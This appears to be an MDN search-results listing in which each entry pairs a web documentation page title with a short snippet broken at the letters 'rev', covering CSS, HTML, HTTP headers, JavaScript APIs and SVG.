reak-beforepage-break-insidepaint()paint-orderpath()pc<percentage>perspectiveperspective()perspective-originplace-contentplace-itemsplace-self::placeholderpointer-eventspolygon()<position>positionprefix (@counter-style)ptpxqqquotesrradradial-gradient()range (@counter-style)<ratio>:read-only:read-writerect()remrepeat()repeating-linear-gradient()repeating-radial-gradient():requiredresize<resolution>
revertrgb()rgba():rightright@right-bottom:rootrotaterotate()rotate3d()rotatex()rotatey()rotatez()row-gapsssaturate()scalescale()scale3d()scalex()scaley()scalez():scopescroll-behaviorscroll-marginscroll-margin-blockscroll-margin-block-endscroll-margin-block-startscroll-margin-bottomscroll-margin-inlinescroll-margin-inline-endscroll-margin-inline-startscroll-margin-leftscroll-margin-rightscroll-margin-...
Syntax - CSS: Cascading Style Sheets
the last declaration of a block doesn't need to be terminated by a semi-colon, though it is often considered good style to do it as it p
revents forgetting to add it when extending the block with another declaration.
Universal selectors - CSS: Cascading Style Sheets
recommendation defines behavior regarding namespaces and adds hint that omitting the selector is allowed within pseudo-elements css level 2 (
revision 1)the definition of 'universal selector' in that specification.
Viewport concepts - CSS: Cascading Style Sheets
when the user pinch-zooms the page, pops open a dynamic keyboard, or when a p
reviously hidden address bar becomes visible, the visual viewport shrinks but the layout viewport is unchanged.
WebKit CSS extensions - CSS: Cascading Style Sheets
ge-set()) -webkit-mask-attachment -webkit-match-nearest-mail-blockquote-color -webkit-overflow-scrolling -webkit-region-break-after -webkit-region-break-before -webkit-region-break-inside -webkit-region-fragment -webkit-shape-inside -webkit-touch-callout (see touch-action) background-origin-x (unprefixed!) background-origin-y (unprefixed!) * still supported in the safari technology p
review, but not in a generally released browser.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
value browser description button-arrow-down firefox removed in firefox 64 button-arrow-next firefox removed in firefox 64 button-arrow-p
revious firefox removed in firefox 64 button-arrow-up firefox removed in firefox 64 button-focus firefox removed in firefox 64 dualbutton firefox removed in firefox 64 groupbox firefox removed in firefox 64 menuarrow firefox removed in firefox 64 menubar firefox removed in firef...
background-color - CSS: Cascading Style Sheets
though technically removing the transparent keyword, this doesn't change anything as it has been incorporated as a true <color> backgrounds level 3 github issues css level 2 (
revision 1)the definition of 'background-color' in that specification.
border-spacing - CSS: Cascading Style Sheets
</td><td>5</td><td>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td> </tr> </table> css table { border-spacing: 1em .5em; padding: 0 2em 1em 0; border: 1px solid orange; } td { width: 1.5em; height: 1.5em; background: #d2d2d2; text-align: center; vertical-align: middle; } result specifications specification status comment css level 2 (
revision 1)the definition of 'border-spacing' in that specification.
box-flex-group - CSS: Cascading Style Sheets
if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any space left over from the p
revious flex group.
box-pack - CSS: Cascading Style Sheets
notes the edge of the box designated the start for packing purposes depends on the box's orientation and direction: normal
reverse horizontal left right vertical top bottom the edge opposite to the start is designated the end.
break-after - CSS: Cascading Style Sheets
after: recto; break-after: verso; /* column break values */ break-after: avoid-column; break-after: column; /* region break values */ break-after: avoid-region; break-after: region; /* global values */ break-after: inherit; break-after: initial; break-after: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the p
revious element, the break-before value of the next element, and the break-inside value of the containing element.
break-before - CSS: Cascading Style Sheets
ecto; break-before: verso; /* column break values */ break-before: avoid-column; break-before: column; /* region break values */ break-before: avoid-region; break-before: region; /* global values */ break-before: inherit; break-before: initial; break-before: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the p
revious element, the break-before value of the next element, and the break-inside value of the containing element.
paint-order - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies totext elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ fill | stroke | markers ] examples
reversing the paint order of stroke and fill svg <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <text x="10" y="75">stroke in front</text> <text x="10" y="150" class="stroke-behind">stroke behind</text> </svg> css text { font-family: sans-serif; font-size: 50px; font-weight: bold; fill: black; stroke: red; stroke-width: 4px; } .stroke-behind { paint-order: st...
pointer-events - CSS: Cascading Style Sheets
note that p
reventing an element from being the target of pointer events by using pointer-events does not necessarily mean that pointer event listeners on that element cannot or will not be triggered.
position - CSS: Cascading Style Sheets
px/21px helvetica, arial, sans-serif; margin: 0; padding: 2px 0 0 12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px; white-space: nowrap; } dd + dd { border-top: 1px solid #ccc; } result specifications specification status comment css level 2 (
revision 1)the definition of 'position' in that specification.
<shape> - CSS: Cascading Style Sheets
example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (
revision 1)the definition of '<shape>' in that specification.
table-layout - CSS: Cascading Style Sheets
d>schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } result specifications specification status comment css level 2 (
revision 1)the definition of 'table-layout' in that specification.
z-index - CSS: Cascading Style Sheets
* put .gold-box above .green-box and .dashed-box */ background: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */ background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (
revision 1)the definition of 'z-index' in that specification.
Demos of open web technologies
ragable and sizable videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (source code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) loader with blend modes text
reveal with clip-path ambient shadow with custom properties luminiscent vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio show...
Community - Developer guides
ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and
reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Getting Started - Developer guides
try...catch: function alertcontents() { try { if (httprequest.readystate === xmlhttprequest.done) { if (httprequest.status === 200) { alert(httprequest.responsetext); } else { alert('there was a problem with the request.'); } } } catch( e ) { alert('caught exception: ' + e.description); } } step 4 – working with the xml response in the p
revious example, after receiving the response to the http request we used the request object's responsetext property , which contained the contents of the test.html file.
Audio and video manipulation - Developer guides
having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding
reverb/compression effects to audio, or grayscale/sepia filters to video.
Using device orientation with 3D transforms - Developer guides
this is achieved by inverting the p
revious order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotate3d to orientation should ...
HTML5 - Developer guides
performance and integration web workers allows delegation of javascript evaluation to background threads, allowing these activities to p
revent slowing down interactive events.
Index - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) 13 video player styling basics apps, guide, media, styling, video in the p
revious cross browser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis.
The Unicode Bidirectional Text Algorithm - Developer guides
dded text interact with the surrounding content, risking spillover effects left-to-right override (lro) u+202d ‭ <bdo dir="ltr"> overrides the bidi algorithm, displaying the characters in memory order, from left to right right-to-left override (rlo) u+202e ‮ <bdo dir="rtl"> overrides the bidi algorithm and displays the embedded characters in
reverse memory order, from right to left closing unicode bidi algorithm control characters character code point html entity markup equivalent description pop directional formatting (pdf) u+202c ‬ closing whatever opening tag used the dir attribute used for rle or lre </bdo> used for rlo or lro pop directional isolate (p...
User input and controls - Developer guides
locking the screen orientation is made possible by invoking the screen.lockorientation method, while the screen.unlockorientation method removes all the p
revious screen locks that have been set.
Developer guides
having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding
reverb/compression effects to audio, or grayscale/sepia filters to video.
HTML attribute: capture - HTML: Hypertext Markup Language
environment the outward-facing camera and/or microphone should be used note: capture was p
reviously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input.
HTML attribute: maxlength - HTML: Hypertext Markup Language
constraint validation while the browser will generally p
revent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only toolong property of a validitystate object will be true.
<form> - HTML: Hypertext Markup Language
(in p
revious versions of html, character encodings could also be delimited by commas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized.
<hgroup> - HTML: Hypertext Markup Language
in other words, the <hgroup> element p
revents any of its secondary <h1>–<h6> children from creating separate sections of their own in the outline—as those <h1>–<h6> elements otherwise normally would if they were not children of any <hgroup>.
<input type="checkbox"> - HTML: Hypertext Markup Language
var overall = document.queryselector('input[id="enchtbl"]'); var ingredients = document.queryselectorall('ul input'); overall.addeventlistener('click', function(e) { e.p
reventdefault(); }); for(var i = 0; i < ingredients.length; i++) { ingredients[i].addeventlistener('click', updatedisplay); } function updatedisplay() { var checkedcount = 0; for(var i = 0; i < ingredients.length; i++) { if(ingredients[i].checked) { checkedcount++; } } if(checkedcount === 0) { overall.checked = false; overall.indeterminat...
<input type="image"> - HTML: Hypertext Markup Language
/external/62/62ac2ecddbec0e0b540098c28451e57203e5cab46dfed7ab0115d5a659fcfb7b.png" alt="login" width="100"> </div> </form> css and now some simple css to make the basic elements sit more neatly: div { margin-bottom: 10px; } label { display: inline-block; width: 70px; text-align: right; padding-right: 10px; } adjusting the image position and scaling in this example, we adapt the p
revious example to set aside more space for the image and then adjust the actual image's size and positioning using object-fit and object-position.
<input type="number"> - HTML: Hypertext Markup Language
validation we have already mentioned a number of validation features of number inputs, but let's
review them now: <input type="number"> elements automatically invalidate any entry that isn't a number (or empty, unless required is specified).
<input type="submit"> - HTML: Hypertext Markup Language
here's the p
revious example with the s access key added: <form> <div> <label for="example">let's submit some text</label> <input id="example" type="text" name="text"> </div> <div> <input type="submit" value="send" accesskey="s"> </div> </form> for example, in firefox for mac, pressing control-option-s triggers the send button, while chrome on windows uses alt+s.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
<p>if a syntax error occurs, the tool will output the initial command you typed for your
review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.
<style>: The Style Information element - HTML: Hypertext Markup Language
<!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> including a media query in this example we build on the p
revious one, including a media attribute on the second <style> element so it is only applied when the viewport is less than 500px in width.
<var>: The Variable element - HTML: Hypertext Markup Language
css var { font: bold 15px "courier", "courier new", monospace; } html <p>the variables <var>minspeed</var> and <var>maxspeed</var> control the minimum and maximum speed of the apparatus in
revolutions per minute (rpm).</p> this html uses <var> to enclose the names of two variables.
is - HTML: Hypertext Markup Language
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor contents ommitted for b
revity ...
HTML: Hypertext Markup Language
get started beginner's tutorials our html learning area features multiple modules that teach html from the ground up — no p
revious knowledge required.
Choosing between www and non-www URLs - HTTP
in the p
revious example, http://www.example.org/whaddup would serve the same content as http://example.org/whaddup, but with an additional <link> element in the head: <link href="http://example.org/whaddup" rel="canonical"> unlike the p
revious case, browser history will consider non-www and www urls as independent entries.
Common MIME types - HTTP
browsers pay a particular care when manipulating these files, attempting to safeguard the user to p
revent dangerous behaviors.
Basics of HTTP - HTTP
connection management in http/2 http/2 completely
revisited how connections are created and maintained.
Access-Control-Expose-Headers - HTTP
examples to expose a non-cors-safelisted request header, you can specify: access-control-expose-headers: content-length to additionally expose a custom header, like x-kuma-
revision, you can specify multiple headers separated by a comma: access-control-expose-headers: content-length, x-kuma-
revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorizatio...
Authorization - HTTP
this method is equally secure as sending the credentials in clear text (base64 is a
reversible encoding).
CSP: sandbox - HTTP
it applies restrictions to a page's actions including p
reventing popups, p
reventing the execution of plugins and scripts, and enforcing a same-origin policy.
CSP: style-src - HTTP
g csstext: document.queryselector('div').setattribute('style', 'display:none;'); document.queryselector('div').style.csstext = 'display:none;'; however, styles properties that are set directly on the element's style property will not be blocked, allowing users to safely manipulate styles via javascript: document.queryselector('div').style.display = 'none'; these types of manipulations can be p
revented by disallowing javascript via the script-src csp directive.
CSP: trusted-types - HTTP
this allows authors to define rules guarding writing values to the dom and thus reducing the dom xss attack surface to small, isolated parts of the web application codebase, facilitating their monitoring and code
review.
Content-Type - HTTP
browsers will do mime sniffing in some cases and will not necessarily follow the value of this header; to p
revent this behavior, the header x-content-type-options can be set to nosniff.
Cookie - HTTP
the cookie http request header contains stored http cookies p
reviously sent by the server with the set-cookie header.
Cross-Origin-Embedder-Policy - HTTP
the http cross-origin-embedder-policy (coep) response header p
revents a document from loading any cross-origin resources that don't explicitly grant the document permission (using corp or cors).
Cross-Origin-Opener-Policy - HTTP
coop will process-isolate your document and potential attackers can't access to your global object if they were opening it in a popup, p
reventing a set of cross-origin attacks dubbed xs-leaks.
Expect-CT - HTTP
the expect-ct header lets sites opt in to reporting and/or enforcement of certificate transparency requirements, to p
revent the use of misissued certificates for that site from going unnoticed.
Forwarded - HTTP
the forwarded header contains information from the
reverse proxy servers that is altered or lost when a proxy is involved in the path of the request.
If-Modified-Since - HTTP
if the request has not been modified since, the response will be a 304 without any body; the last-modified response header of a p
revious request will contain the date of last modification.
If-None-Match - HTTP
for other methods, and in particular for put, if-none-match used with the * value can be used to save a file not known to exist, guaranteeing that another upload didn't happen before, losing the data of the p
revious put; this problem is a variation of the lost update problem.
Large-Allocation - HTTP
some legacy addons can p
revent firefox from using this new, faster, multiprocess architecture.
Proxy-Authorization - HTTP
this method is equally secure as sending the credentials in clear text (base64 is a
reversible encoding).
Server-Timing - HTTP
the specification advices that names and descriptions should be kept as short as possible (use abb
reviations and omit optional values where possible) to minimize the http overhead.
Server - HTTP
avoid overly-detailed server values, as they can
reveal information that might make it (slightly) easier for attackers to exploit known security holes.
SourceMap - HTTP
examples sourcemap: /path/to/file.js.map specifications specification title draft document source map
revision 3 proposal ...
Via - HTTP
the via general header is added by proxies, both forward and
reverse proxies, and can appear in the request headers and the response headers.
X-DNS-Prefetch-Control - HTTP
examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can
reverse this setting by setting content to "on".
X-Forwarded-Host - HTTP
host names and ports of
reverse proxies (load balancers, cdns) may differ from the origin server handling the request, in that case the x-forwarded-host header is useful to determine which host was originally used.
X-XSS-Protection - HTTP
rather than sanitizing the page, the browser will p
revent rendering of the page if an attack is detected.
Link prefetching FAQ - HTTP
however, it is possible to instruct mozilla to validate a prefetched document when the user follows a href to the prefetched document by specifying the cache-control: must-
revalidate http response header.
An overview of HTTP - HTTP
relaxing the origin constraint to p
revent snooping and other privacy invasions, web browsers enforce strict separation between web sites.
A typical HTTP session - HTTP
(contains a site-customized page helping the user to find the missing resource) notification that the requested resource doesn't exist: http/1.1 404 not found content-type: text/html; charset=utf-8 content-length: 38217 connection: keep-alive cache-control: no-cache, no-store, must-
revalidate, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:35:13 gmt expires: thu, 06 dec 2018 17:35:13 gmt server: meinheld/0.6.1 strict-transport-security: max-age=63072000 x-content-type-options: nosniff x-frame-options: deny x-xss-protection: 1; mode=block vary: accept-encoding,cookie x-cache: error from cloudfront <!doctype html...
CSS Houdini
houdini's css typed om is a css object model with types and methods, exposing values as javascript objects making for more intuitive css manipulation than p
revious string based htmlelement.style manipulations.
Equality comparisons and sameness - JavaScript
even if your requirements involve having comparisons between two nan values evaluate to true, generally it is easier to special-case the nan checks (using the isnan method available from p
revious versions of ecmascript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.
Assertions - JavaScript
this is a position where the p
revious and next character are of the same type: either both must be words, or both must be non-words, for example between two letters or between two spaces.
JavaScript Guide - JavaScript
objects objects and properties creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta programming proxy handlers and traps
revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading next » ...
Memory Management - JavaScript
this algorithm is an improvement over the p
revious one since an object having zero references is effectively unreachable.
Array.prototype[@@unscopables] - JavaScript
this is where now the built-in @@unscopables array.prototype[@@unscopables] symbol property comes into play and p
revents that some of the array methods are being scoped into the with statement.
Array - JavaScript
array.prototype.
reverse()
reverses the order of the elements of an array in place.
Date.prototype.toString() - JavaScript
"(" an implementation dependent string representation of the timezone, which might be an abb
reviation or full name (there is no standard for names or abb
reviations of timezones), e.g.
Function.prototype.bind() - JavaScript
this means that additional apply() calls can be eliminated: // same as "slice" in the p
revious example const unboundslice = array.prototype.slice; const slice = function.prototype.apply.bind(unboundslice); // ...
Intl.Locale.prototype.collation - JavaScript
valid collation types collation type description big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a p
revious version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected.
Intl.Locale.prototype.minimize() - JavaScript
description this method carries out the
reverse of maximize(), removing any language, script, or region subtags from the locale language identifier (essentially the contents of basename).
Number.prototype.toExponential() - JavaScript
if you use the toexponential() method for a numeric literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to p
revent the dot from being interpreted as a decimal point.
Promise - JavaScript
'odd' : 'even'; resolve(parityinfo); } return; } return new promise(tetheredgetword); } (new promise(tetheredgetnumber)) .then(determineparity,troublewithgetnumber) .then(promisegetword) .then((info) => { console.log("got: ",info.thenumber," , ", info.wordevenodd); return info; }) .catch((reason) => { if(reason === -999) { console.error("had p
reviously handled error"); } else { console.error(`trouble with promisegetword(): ${reason}`); } }) .finally((info) => console.log("all done")); advanced example <button id="btn">make a promise!</button> <div id="log"></div> this small example shows the mechanism of a promise.
handler.getOwnPropertyDescriptor() - JavaScript
const obj = { a: 10 }; object.p
reventextensions(obj); const p = new proxy(obj, { getownpropertydescriptor: function(target, prop) { return undefined; } }); object.getownpropertydescriptor(p, 'a'); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[getownproperty]]' in that specification.
handler.getPrototypeOf() - JavaScript
p.__proto__ === array.prototype, // true array.prototype.isprototypeof(p), // true p instanceof array // true ); two kinds of exceptions const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.p
reventextensions({}); const p = new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ecmascript (ecma-262)the definition of '[[getprototypeof]]' in that specification.
handler.has() - JavaScript
const obj = { a: 10 }; object.p
reventextensions(obj); const p = new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification.
RegExp.prototype.test() - JavaScript
(this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() called multiple times on the same global regular expression instance will advance past the p
revious match.
Set - JavaScript
set.prototype.delete(value) removes the element associated to the value and returns the value that set.prototype.has(value) would have p
reviously returned.
String.prototype.charCodeAt() - JavaScript
if (isnan(low)) { throw 'high surrogate not followed by ' + 'low surrogate in fixedcharcodeat()'; } return ( (hi - 0xd800) * 0x400) + (low - 0xdc00) + 0x10000; } if (0xdc00 <= code && code <= 0xdfff) { // low surrogate // we return false to allow loops to skip // this iteration since should have already handled // high surrogate above in the p
revious iteration return false; // hi = str.charcodeat(idx - 1); // low = code; // return ((hi - 0xd800) * 0x400) + // (low - 0xdc00) + 0x10000; } return code; } fixing charcodeat() to handle non-basic-multilingual-plane characters if their presence earlier in the string is known function knowncharcodeat(str, idx) { str += ''; var code, end = str.length; var ...
Symbol() constructor - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this p
revents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
Symbol.split - JavaScript
property attributes of symbol.split writable no enumerable no configurable no examples custom
reverse split class
reversesplit { [symbol.split](string) { const array = string.split(' '); return array.
reverse(); } } console.log('another one bites the dust'.split(new
reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification.
Symbol.unscopables - JavaScript
a built-in unscopables setting is implemented as array.prototype[@@unscopables] to p
revent that some of the array methods are being scoped into the with statement.
decodeURI() - JavaScript
the decodeuri() function decodes a uniform resource identifier (uri) p
reviously created by encodeuri() or by a similar routine.
decodeURIComponent() - JavaScript
the decodeuricomponent() function decodes a uniform resource identifier (uri) component p
reviously created by encodeuricomponent or by a similar routine.
globalThis - JavaScript
you can also use function('return this')(), but environments that disable eval(), like csp in browsers, p
revent use of function in this way.
Inequality (!=) - JavaScript
like the equality operator, the inequality operator will attempt to convert and compare operands of different types: 3 != "3"; // false to p
revent this, and require that different types are considered to be different, use the strict inequality operator instead: 3 !== "3"; // true examples comparison with no type conversion 1 != 2; // true "hello" != "hola"; // true 1 != 1; // false "hello" != "hello"; // false comparison with type conversion "1" != 1; // false 1 != "1"; // false...
Property accessors - JavaScript
const variable = object[property_name] object[property_name] = value; this does the exact same thing as the p
revious example.
delete operator - JavaScript
however, in the case of internet explorer, when one uses delete on a property, some confusing behavior results, p
reventing other browsers from using simple objects like object literals as ordered associative arrays.
void operator - JavaScript
this can cause unintended side effects by returning the result of a function call that p
reviously returned nothing.
for...of - JavaScript
functions generating an iterable object: function* fibonacci() { // a generator function let [p
rev, curr] = [0, 1]; while (true) { [p
rev, curr] = [curr, p
rev + curr]; yield curr; } } for (const n of fibonacci()) { console.log(n); // truncate the sequence at 1000 if (n >= 1000) { break; } } do not reuse generators generators should not be re-used, even if the for...of loop is terminated early, for example via the break keyword.
import - JavaScript
const main = document.queryselector("main"); for (const link of document.queryselectorall("nav > a")) { link.addeventlistener("click", e => { e.p
reventdefault(); import('/modules/my-module.js') .then(module => { module.loadpageinto(main); }) .catch(err => { main.textcontent = err.message; }); }); } specifications specification ecmascript (ecma-262)the definition of 'imports' in that specification.
label - JavaScript
0; i < 3; i++) { //the first for statement is labeled "loop1" loop2: for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { break loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // notice the difference with the p
revious continue example using a labeled break statement given an array of items and an array of tests, this example determines whether all items pass all tests.
return - JavaScript
to avoid this problem (to p
revent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called.
var - JavaScript
description var declarations, whe
rever they occur, are processed before any code is executed.
Trailing commas - JavaScript
if you want to add a new property, you can simply add a new line without modifying the p
reviously last line if that line already uses a trailing comma.
scope - Web app manifests
if the user navigates outside the scope, it
reverts to a normal web page inside a browser tab or window.
Animation performance and frame rate - Web Performance
while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you p
revent and diagnose problems when they occur.
Web Performance
that means not running all your startup code in a single event handler on the app's main thread.performance budgetsa performance budget is a limit to p
revent regressions.
Installing and uninstalling web apps - Progressive web apps (PWAs)
by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have
revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps.
gradientTransform - SVG: Scalable Vector Graphics
this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any p
reviously defined transformations, including the implicit transformation necessary to convert from object bounding box units to user space.
mask - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle,
revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attribute is defined as a css property and is a shorthand for many other properties: mask-image, mask-mode, mask-repeat, mask-position, mask-clip, mask-origin, mask-size, and mask-composite.
stroke-dashoffset - SVG: Scalable Vector Graphics
="black" stroke-dasharray="3 1" stroke-dashoffset="3" /> <!-- the start of the dash array computation is pushed by 3 user units --> <line x1="0" y1="7" x2="30" y2="7" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="-3" /> <!-- the start of the dash array computation is pulled by 1 user units which ends up in the same rendering as the p
revious example --> <line x1="0" y1="9" x2="30" y2="9" stroke="black" stroke-dasharray="3 1" stroke-dashoffset="1" /> <!-- the following red lines highlight the offset of the dash array for each line --> <path d="m0,5 h-3 m0,7 h3 m0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> usage notes value <percentage> | <length> default value 0 ...
visibility - SVG: Scalable Vector Graphics
ne-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (
revision 1)the definition of 'visibility' in that specification.
x - SVG: Scalable Vector Graphics
value <number> default value 0 for the first glyphref, and the end x coordinate of the p
revious <glyphref> for all subsequent sibling <glyphref>.
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its
revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<animateMotion> - SVG: Scalable Vector Graphics
value type: <number>|auto|auto-
reverse; default value: 0; animatable: no note: for <animatemotion> the default value for the calcmode attribute is paced animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumula...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
symptoms p
reviously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg.
Features restricted to secure contexts - Web security
push api 42 17 not supported 44 reporting api supported not supported not supported behind flag since fx 65 service workers 40 17 11.1 44 storage api 55 not supported not supported 51 web authentication api 65 in p
review (17) in development 60 web bluetooth 56 not supported not supported not supported web midi (see midiaccess, for example) 43 not supported not supported not supported web crypto api 60 79 not supported 75 secure context restrictions that vary by browser some browsers may decide to disable certain apis in non-secure co...
Secure contexts - Web security
the primary goal of secure contexts is to p
revent mitm attackers from accessing powerful apis that could further compromise the victim of an attack.
How to turn off form autocompletion - Web security
p
reventing autofilling with autocomplete="new-password" if you are defining a user management page where a user can specify a new password for another person, and therefore you want to p
revent autofilling of password fields, you can use autocomplete="new-password".
Securing your site - Web security
you can use this to p
revent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.
Web security
the primary goal of secure contexts is to p
revent man-in-the-middle attackers from accessing powerful apis that could further compromise the victim of an attack.
Using custom elements - Web Components
attribute('img') : 'img/default.png'; const info = wrapper.appendchild(document.createelement('span')); info.setattribute('class','info'); // take attribute content and put it inside the info span info.textcontent = this.getattribute('data-text'); // create some css to apply to the shadow dom const style = document.createelement('style'); style.textcontent = '.wrapper {' + // css truncated for b
revity // attach the created elements to the shadow dom this.shadowroot.append(style,wrapper); finally, we register our custom element on the customelementregistry using the define() method we mentioned earlier — in the parameters we specify the element name, and then the class name that defines its functionality: customelements.define('popup-info', popupinfo); it is now available to use on o...
Introduction to using XPath in JavaScript - XPath
'xhtml' : 'http://www.w3.org/1999/xhtml', 'mathml': 'http://www.w3.org/1998/math/mathml' }; return ns[prefix] || null; } our call to document.evaluate would then looks like: document.evaluate( '//xhtml:td/mathml:math', document, nsresolver, xpathresult.any_type, null ); implementing a default namespace for xml documents as noted in the implementing a default namespace resolver p
reviously, the default resolver does not handle the default namespace for xml documents.
XPath snippets - XPath
